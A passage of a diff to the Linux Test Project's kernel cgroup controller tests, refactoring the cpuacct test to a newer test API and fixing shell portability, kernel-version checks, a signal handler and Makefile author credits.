@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # DO NOT USE THIS FILE FOR controllers / libcontrollers!!!
diff --git a/testcases/kernel/controllers/cgroup/Makefile b/testcases/kernel/controllers/cgroup/Makefile
index 96da7a2..0cd60ad 100644
--- a/testcases/kernel/controllers/cgroup/Makefile
+++ b/testcases/kernel/controllers/cgroup/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
index abd780f..30d0dbf 100755
--- a/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
@@ -30,16 +30,19 @@
 
 failed=0
 
-tst_kvercmp 2 6 29
-if [ $? -eq 0 ]; then
+if tst_kvcmp -lt "2.6.29"; then
 	tst_brkm TCONF ignored "test must be run with kernel 2.6.29 or newer"
-	exit 0
-elif [ ! -f /proc/cgroups ]; then
+	exit 32
+fi
+
+if [ ! -f /proc/cgroups ]; then
 	tst_brkm TCONF ignored "Kernel does not support for control groups; skipping testcases";
-	exit 0
-elif [ "x$(id -ru)" != x0 ]; then
+	exit 32
+fi
+
+if [ "x$(id -ru)" != x0 ]; then
 	tst_brkm TCONF ignored "Test must be run as root"
-	exit 0
+	exit 32
 fi
 
 dmesg -c > /dev/null
@@ -277,7 +280,7 @@
 
 	mkdir cgroup/0
 	# Otherwise we can't attach task
-	if [ "$subsys1" == cpuset -o "$subsys2" == cpuset ]; then
+	if [ "$subsys1" = cpuset -o "$subsys2" = cpuset ]; then
 		echo 0 > cgroup/0/cpuset.cpus 2> /dev/null
 		echo 0 > cgroup/0/cpuset.mems 2> /dev/null
 	fi
diff --git a/testcases/kernel/controllers/cgroup_fj/Makefile b/testcases/kernel/controllers/cgroup_fj/Makefile
index d18e672..2fca420 100644
--- a/testcases/kernel/controllers/cgroup_fj/Makefile
+++ b/testcases/kernel/controllers/cgroup_fj/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
index df2cbfc..2c8dfd3 100755
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
@@ -34,7 +34,7 @@
     local subsystem="$1"
     local exist=`grep -w $subsystem /proc/cgroups | cut -f1`
 
-    if [ "$exist" = "" ]; then
+    if [ -z "$exist" ]; then
         tst_brkm TCONF "Subsystem $subsystem not supported"
     fi
 }
@@ -68,9 +68,14 @@
 
     # cpuset.cpus and cpuset.mems must be initialized with suitable value
     # before any pids are attached
-    if [ "$subsystem" == "cpuset" ]; then
-        ROD cat "$mount_point/cpuset.cpus" \> "$path/cpuset.cpus"
-        ROD cat "$mount_point/cpuset.mems" \> "$path/cpuset.mems"
+    if [ "$subsystem" = "cpuset" ]; then
+        if [ -e "$mount_point/cpus" ]; then
+            ROD cat "$mount_point/cpus" \> "$path/cpus"
+            ROD cat "$mount_point/mems" \> "$path/mems"
+        else
+            ROD cat "$mount_point/cpuset.cpus" \> "$path/cpuset.cpus"
+            ROD cat "$mount_point/cpuset.mems" \> "$path/cpuset.mems"
+        fi
     fi
 }
 
@@ -90,7 +95,7 @@
 
     mount_point=`grep -w $subsystem /proc/mounts | cut -f 2 | cut -d " " -f2`
 
-    if [ "$mount_point" == "" ]; then
+    if [ -z "$mount_point" ]; then
         try_umount=1
         mount_point="/dev/cgroup"
 	tst_resm TINFO "Subsystem $subsystem is not mounted, mounting it at $mount_point"
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
index 006798a..633f256 100755
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
@@ -207,7 +207,8 @@
 test8
 test9
 
-ROD rmdir "$start_path/ltp_1"
 ROD kill -9 $pid
+wait $pid
+ROD rmdir "$start_path/ltp_1"
 
 tst_exit
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c
index 880cb76..93bc8b7 100644
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c
@@ -40,7 +40,7 @@
 
 int main(void)
 {
-	sigset_t sigset;
+	sigset_t signalset;
 	struct sigaction sa;
 	pid_t pid;
 	int status;
@@ -54,11 +54,11 @@
 	if (sigaction(SIGUSR1, &sa, NULL) < 0)
 		err(1, "sigaction()");
 
-	if (sigemptyset(&sigset) < 0)
+	if (sigemptyset(&signalset) < 0)
 		err(1, "sigemptyset()");
 
 	/* wait for the signal SIGUSR1 to start testing */
-	sigsuspend(&sigset);
+	sigsuspend(&signalset);
 	if (errno != EINTR)
 		err(1, "sigsuspend()");
 
diff --git a/testcases/kernel/controllers/cpuacct/Makefile b/testcases/kernel/controllers/cpuacct/Makefile
index 9cc67b4..34ec049 100644
--- a/testcases/kernel/controllers/cpuacct/Makefile
+++ b/testcases/kernel/controllers/cpuacct/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/cpuacct/cpuacct.sh b/testcases/kernel/controllers/cpuacct/cpuacct.sh
index 92377a3..6d3778c 100755
--- a/testcases/kernel/controllers/cpuacct/cpuacct.sh
+++ b/testcases/kernel/controllers/cpuacct/cpuacct.sh
@@ -35,95 +35,115 @@
 # 2) Check that sum ltp_test/subgroup*/cpuacct.usage = ltp_test/cpuacct.usage
 #
 
+TST_ID="cpuacct"
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_TESTFUNC=do_test
+TST_POS_ARGS=2
+TST_USAGE=usage
+TST_NEEDS_ROOT=1
+
+. tst_test.sh
+
 mounted=1
 max=$1
 nbprocess=$2
 
-export TCID="cpuacct_$1_$2"
-export TST_TOTAL=2
+usage()
+{
+	cat << EOF
+usage: $0 nsubgroup nprocess
 
-. test.sh
+nsubgroup - number of subgroups to create
+nprocess  - number of processes to attach to each subgroup
+
+OPTIONS
+EOF
+}
 
 setup()
 {
-	tst_require_root
-
-	grep -q -w cpuacct /proc/cgroups
-	if [ $? -ne 0 ]; then
-		tst_brkm TCONF "cpuacct not supported on this system"
+	if ! grep -q -w cpuacct /proc/cgroups; then
+		tst_brk TCONF "cpuacct not supported on this system"
 	fi
 
 	mount_point=`grep -w cpuacct /proc/mounts | cut -f 2 | cut -d " " -f2`
-	tst_resm TINFO "cpuacct: $mount_point"
+	tst_res TINFO "cpuacct: $mount_point"
 	if [ "$mount_point" = "" ]; then
 		mounted=0
 		mount_point=/dev/cgroup
 	fi
 
-	TST_CLEANUP=cleanup
-
-	testpath=$mount_point/ltp_$TCID
+	testpath=$mount_point/ltp_$TST_ID
 
 	if [ "$mounted" -eq "0" ]; then
 		ROD mkdir -p $mount_point
 		ROD mount -t cgroup -o cpuacct none $mount_point
 	fi
+
 	ROD mkdir $testpath
+
+	# create subgroups
+	for i in `seq 1 $max`; do
+		ROD mkdir $testpath/subgroup_$i
+	done
+
 }
 
 cleanup()
 {
-	tst_resm TINFO "removing created directories"
-	rmdir $testpath/subgroup_*
+	tst_res TINFO "removing created directories"
+
+	if [ -d "$testpath/subgroup_1" ]; then
+		rmdir $testpath/subgroup_*
+	fi
+
 	rmdir $testpath
+
 	if [ "$mounted" -ne 1 ]; then
-		tst_resm TINFO "Umounting cpuacct"
+		tst_res TINFO "Umounting cpuacct"
 		umount $mount_point
 		rmdir $mount_point
 	fi
 }
 
-setup;
+do_test()
+{
+	tst_res TINFO "Creating $max subgroups each with $nbprocess processes"
 
-# create subgroups
-for i in `seq 1 $max`; do
-	ROD mkdir -p $testpath/subgroup_$i
-done
-
-# create and attach process to subgroups
-for i in `seq 1 $max`; do
-	for j in `seq 1 $nbprocess`; do
-		cpuacct_task $testpath/subgroup_$i/tasks &
+	# create and attach process to subgroups
+	for i in `seq 1 $max`; do
+		for j in `seq 1 $nbprocess`; do
+			cpuacct_task $testpath/subgroup_$i/tasks &
+		done
 	done
-done
 
-for job in `jobs -p`; do
-	wait $job
-done
+	wait
 
-acc=0
-fails=0
-for i in `seq 1 $max`; do
-	tmp=`cat $testpath/subgroup_$i/cpuacct.usage`
-	if [ "$tmp" -eq "0" ]; then
-		fails=$((fails + 1))
+	acc=0
+	fails=0
+	for i in `seq 1 $max`; do
+		tmp=`cat $testpath/subgroup_$i/cpuacct.usage`
+		if [ "$tmp" -eq "0" ]; then
+			fails=$((fails + 1))
+		fi
+		acc=$((acc + tmp))
+	done
+
+	## check that cpuacct.usage != 0 for every subgroup
+	if [ "$fails" -gt "0" ]; then
+		tst_res TFAIL "cpuacct.usage is not equal to 0 for $fails subgroups"
+	else
+		tst_res TPASS "cpuacct.usage is not equal to 0 for every subgroup"
 	fi
-	acc=$((acc + tmp))
-done
 
-## check that cpuacct.usage != 0 for every subgroup
-if [ "$fails" -eq "1" ]; then
-	tst_resm TFAIL "cpuacct.usage is not equal to 0 for $fails subgroups"
-else
-	tst_resm TPASS "cpuacct.usage is not equal to 0 for every subgroup"
-fi
+	## check that ltp_subgroup/cpuacct.usage == sum ltp_subgroup/subgroup*/cpuacct.usage
+	ref=`cat $testpath/cpuacct.usage`
+	if [ "$ref" -ne "$acc" ]; then
+		tst_res TFAIL "cpuacct.usage $ref not equal to subgroup*/cpuacct.usage $acc"
+	else
+		tst_res TPASS "cpuacct.usage equal to subgroup*/cpuacct.usage"
+	fi
+}
 
-## check that ltp_subgroup/cpuacct.usage == sum ltp_subgroup/subgroup*/cpuacct.usage
-ref=`cat $testpath/cpuacct.usage`
-if [ "$ref" != "$acc" ]; then
-	tst_resm TFAIL "ltp_test/cpuacct.usage not equal to ltp_test/subgroup*/cpuacct.usage"
-else
-	tst_resm TPASS "ltp_test/cpuacct.usage equal to ltp_test/subgroup*/cpuacct.usage"
-fi
-
-tst_exit
+tst_run
diff --git a/testcases/kernel/controllers/cpuacct/cpuacct_task.c b/testcases/kernel/controllers/cpuacct/cpuacct_task.c
index 0ca01d1..677d6d4 100644
--- a/testcases/kernel/controllers/cpuacct/cpuacct_task.c
+++ b/testcases/kernel/controllers/cpuacct/cpuacct_task.c
@@ -25,11 +25,19 @@
 #include <sys/time.h>
 #include <sys/types.h>
 #include <unistd.h>
+#include <signal.h>
 #include <stdlib.h>
+#include <string.h>
+
+static void sig_handler(int signo)
+{
+	_exit(0);
+}
 
 int main(int argc, char **argv)
 {
 	FILE *f;
+	struct sigaction sa;
 
 	if (argc != 2) {
 		fprintf(stderr, "Usage: %s /cgroup/.../tasks\n", argv[0]);
@@ -44,6 +52,16 @@
 
 	fprintf(f, "%i\n", getpid());
 	fclose(f);
+
+	memset(&sa, 0, sizeof(sa));
+	sigemptyset(&sa.sa_mask);
+	sa.sa_handler = sig_handler;
+
+	if (sigaction(SIGVTALRM, &sa, NULL)) {
+		perror("sigaction failed");
+		return 1;
+	}
+
 	struct itimerval it = {.it_value = {.tv_sec = 0, .tv_usec = 10000}};
 
 	setitimer(ITIMER_VIRTUAL, &it, NULL);
diff --git a/testcases/kernel/controllers/cpuctl/Makefile b/testcases/kernel/controllers/cpuctl/Makefile
index ab1e8ea..93a1b26 100644
--- a/testcases/kernel/controllers/cpuctl/Makefile
+++ b/testcases/kernel/controllers/cpuctl/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/cpuctl_fj/Makefile b/testcases/kernel/controllers/cpuctl_fj/Makefile
index d7420be..b0bf9b1 100644
--- a/testcases/kernel/controllers/cpuctl_fj/Makefile
+++ b/testcases/kernel/controllers/cpuctl_fj/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/cpuctl_fj/cpuctl_fj_cpu-hog.c b/testcases/kernel/controllers/cpuctl_fj/cpuctl_fj_cpu-hog.c
index 3f300c7..da1c312 100644
--- a/testcases/kernel/controllers/cpuctl_fj/cpuctl_fj_cpu-hog.c
+++ b/testcases/kernel/controllers/cpuctl_fj/cpuctl_fj_cpu-hog.c
@@ -43,7 +43,7 @@
 
 int main(void)
 {
-	sigset_t sigset;
+	sigset_t signalset;
 	struct sigaction sa;
 
 	sa.sa_handler = sighandler;
@@ -54,10 +54,10 @@
 	if (sigaction(SIGUSR1, &sa, NULL) < 0)
 		err(1, "sigaction()");
 
-	if (sigemptyset(&sigset) < 0)
+	if (sigemptyset(&signalset) < 0)
 		err(1, "sigemptyset()");
 
-	sigsuspend(&sigset);
+	sigsuspend(&signalset);
 	if (errno != EINTR)
 		err(1, "sigsuspend()");
 
diff --git a/testcases/kernel/controllers/cpuset/Makefile b/testcases/kernel/controllers/cpuset/Makefile
index d988d0c..153cd2b 100644
--- a/testcases/kernel/controllers/cpuset/Makefile
+++ b/testcases/kernel/controllers/cpuset/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/cpuset/Makefile.inc b/testcases/kernel/controllers/cpuset/Makefile.inc
index 9e002f4..db6a843 100644
--- a/testcases/kernel/controllers/cpuset/Makefile.inc
+++ b/testcases/kernel/controllers/cpuset/Makefile.inc
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 LIBCPUSET_DIR		:= ../cpuset_lib
diff --git a/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/Makefile
index 9ff9f8d..6d7d509 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh
index 63a9dc5..992b8f2 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh
@@ -128,8 +128,7 @@
 		base_op_test "$CPUSET/1/cpus" "0,1-$((nr_cpus-2))," "0-$((nr_cpus-2))"
 	fi
 
-	tst_kvercmp2 3 0 0 "RHEL6:2.6.32"
-	if [ $? -eq 0 ]; then
+	if tst_kvcmp -lt "3.0 RHEL6:2.6.32"; then
 		base_op_test "$CPUSET/1/cpus" "0-" "WRITE_ERROR"
 	else
 		base_op_test "$CPUSET/1/cpus" "0-" "0"
@@ -164,8 +163,7 @@
 		base_op_test "$CPUSET/1/mems" "0,1-$((nr_mems-2))," "0-$((nr_mems-2))"
 	fi
 
-	tst_kvercmp2 3 0 0 "RHEL6:2.6.32"
-	if [ $? -eq 0 ]; then
+	if tst_kvcmp -lt "3.0 RHEL6:2.6.32"; then
 		base_op_test "$CPUSET/1/mems" "0-" "WRITE_ERROR"
 	else
 		base_op_test "$CPUSET/1/mems" "0-" "0"
diff --git a/testcases/kernel/controllers/cpuset/cpuset_exclusive_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_exclusive_test/Makefile
index c430a15..2655622 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_exclusive_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_exclusive_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_funcs.sh b/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
index cd7000e..2be1329 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
@@ -58,8 +58,7 @@
 
 version_check()
 {
-	tst_kvercmp 2 6 28
-	if [ $? -eq 0 ]; then
+	if tst_kvcmp -lt "2.6.28"; then
 		tst_brkm TCONF "kernel is below 2.6.28"
 	fi
 }
diff --git a/testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/Makefile
index 10c29b2..0c60b20 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/Makefile
index 340e8e1..e5c984b 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_inherit_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_inherit_test/Makefile
index 5848ee0..d2a4528 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_inherit_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_inherit_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_lib/Makefile b/testcases/kernel/controllers/cpuset/cpuset_lib/Makefile
index 87a5743..322d03c 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_lib/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_lib/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 # Cyril Hrubis, October 2009
 #
 
diff --git a/testcases/kernel/controllers/cpuset/cpuset_load_balance_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_load_balance_test/Makefile
index de88688..86b3f27 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_load_balance_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_load_balance_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_cpu_hog.c b/testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_cpu_hog.c
index de81f26..8a6ec26 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_cpu_hog.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_cpu_hog.c
@@ -161,7 +161,7 @@
 int cpu_hog(void)
 {
 	double f = 2744545.34456455;
-	sigset_t sigset;
+	sigset_t signalset;
 	struct cpuset *cp = NULL;
 	struct bitmask *cpumask = NULL;
 	int cpu;
@@ -180,12 +180,12 @@
 		goto err1;
 	}
 
-	if (sigemptyset(&sigset) < 0) {
+	if (sigemptyset(&signalset) < 0) {
 		ret = -1;
 		goto err2;
 	}
 
-	sigsuspend(&sigset);
+	sigsuspend(&signalset);
 
 	if (cpuset_cpusetofpid(cp, 0) < 0) {
 		ret = -1;
@@ -249,7 +249,7 @@
 	int i = 0;
 	pid_t pid;
 	pid_t *childpids = NULL;
-	sigset_t sigset;
+	sigset_t signalset;
 	int status = 0;
 	int ret = 0;
 
@@ -260,7 +260,7 @@
 		exit(EXIT_FAILURE);
 	}
 
-	if (sigemptyset(&sigset) < 0) {
+	if (sigemptyset(&signalset) < 0) {
 		warn("sigemptyset failed");
 		report_result("2\n");
 		exit(EXIT_FAILURE);
@@ -275,7 +275,7 @@
 	memset(childpids, 0, (nprocs) * sizeof(pid_t));
 
 	report_result("0\n");
-	sigsuspend(&sigset);
+	sigsuspend(&signalset);
 	for (; i < nprocs; i++) {
 		pid = fork();
 		if (pid == -1) {
@@ -294,10 +294,10 @@
 	report_result("0\n");
 
 	while (!end) {
-		if (sigemptyset(&sigset) < 0)
+		if (sigemptyset(&signalset) < 0)
 			ret = -1;
 		else
-			sigsuspend(&sigset);
+			sigsuspend(&signalset);
 
 		if (ret || end) {
 			for (i = 0; i < nprocs; i++) {
diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/Makefile
index f7fd3f2..fe9cc18 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/Makefile
index 9345f3c..b3c76f0 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_mem_hog.c b/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_mem_hog.c
index 6ca6663..56e039e 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_mem_hog.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_mem_hog.c
@@ -71,13 +71,13 @@
 
 int mem_hog(void)
 {
-	sigset_t sigset;
+	sigset_t signalset;
 	int fd;
 	int ret = 0;
 
-	if (sigemptyset(&sigset) < 0)
+	if (sigemptyset(&signalset) < 0)
 		err(1, "sigemptyset()");
-	sigsuspend(&sigset);
+	sigsuspend(&signalset);
 
 	while (!end) {
 		ret = page_cache_hog();
@@ -96,7 +96,7 @@
 
 		close(fd);
 
-		sigsuspend(&sigset);
+		sigsuspend(&signalset);
 	}
 
 	return ret;
diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_memory_test/Makefile
index e5bb082..d427026 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_memory_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_memory_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_test.c b/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_test.c
index e4206cf..9912d8d 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_test.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_test.c
@@ -34,7 +34,7 @@
 #include <sys/stat.h>
 #include <sys/mman.h>
 #include <sys/shm.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include <pthread.h>
 
 char *TCID = "cpuset_memory_test";
diff --git a/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh b/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
index 0c7b6cf..4a104a3 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
@@ -30,8 +30,7 @@
 {
 	tst_require_root
 
-	tst_kvercmp 3 18 0
-	if [ $? -eq 0 ]; then
+	if tst_kvcmp -lt "3.18"; then
 		tst_brkm TCONF "Test must be run with kernel 3.18.0 or newer"
 	fi
 
@@ -96,7 +95,7 @@
 		     ${root_cpuset_dir}/${cpu_exclusive}
 	fi
 
-	if [ "${mount_flag}" == "1" ]; then
+	if [ "${mount_flag}" = "1" ]; then
 		umount ${root_cpuset_dir}
 		if [ $? -ne 0 ]; then
 			tst_resm TWARN "'umount ${root_cpuset_dir}' failed"
diff --git a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/Makefile
index 54393e7..6de1f89 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../../..
diff --git a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
index da7669d..371cbc7 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
@@ -37,7 +37,7 @@
 #include <sys/stat.h>
 #include <sys/mman.h>
 #include <sys/shm.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include <inttypes.h>
 #if HAVE_NUMA_H
 #include <numa.h>
diff --git a/testcases/kernel/controllers/freezer/Makefile b/testcases/kernel/controllers/freezer/Makefile
index b9ca22d..aa28935 100644
--- a/testcases/kernel/controllers/freezer/Makefile
+++ b/testcases/kernel/controllers/freezer/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/io-throttle/Makefile b/testcases/kernel/controllers/io-throttle/Makefile
index 0e97ab2..ceeba73 100644
--- a/testcases/kernel/controllers/io-throttle/Makefile
+++ b/testcases/kernel/controllers/io-throttle/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
